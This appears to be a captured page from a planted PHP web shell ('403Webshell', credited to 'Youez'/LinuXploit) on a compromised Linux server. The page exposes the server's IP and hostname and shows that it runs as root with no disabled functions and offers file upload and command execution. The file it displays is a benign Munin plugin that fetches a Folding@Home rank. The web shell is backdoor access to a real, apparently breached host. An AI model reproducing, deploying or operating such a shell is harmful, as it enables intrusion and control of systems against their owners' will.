403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/munin/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/munin/plugins/foldingathome_rank
#!/bin/sh
# -*- sh -*-
#
# Folding@Home Rank
#
# Parameters:
#
#   config   (required)
#   autoconf (optional - only used by munin-config)
#
# Magic markers (optional - used by munin-config and some installation
# scripts):
#%# family=contrib

statefile=$MUNIN_PLUGSTATE/plugin-fah_rank.state

if [ "$1" = "config" ]; then
    echo 'graph_title Folding@Home Rank'
    echo 'graph_args -l 0 --base 1000'
    echo 'graph_vlabel rank'
    echo 'rank.label rank'
    echo 'rank.type GAUGE'
    echo 'rank.max 12000'
    exit 0
fi

rank=$(wget "http://vspx27.stanford.edu/cgi-bin/main.py?qtype=userpage&username=8d" -q -t 1 -T 5 -O - | grep -E "<TD> <font size=3> <b> [0-9]* </b> of [0-9]* </font></TD>" | sed 's/.*<font size=3> <b> \([0-9]*\) .*/\1/')
if [ -z "$rank" ]; then
	if [ -f "$statefile" ]; then
		echo "rank.value $(cat "$statefile")"
	fi
else
	echo "$rank" >"$statefile"
	echo "rank.value $rank"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit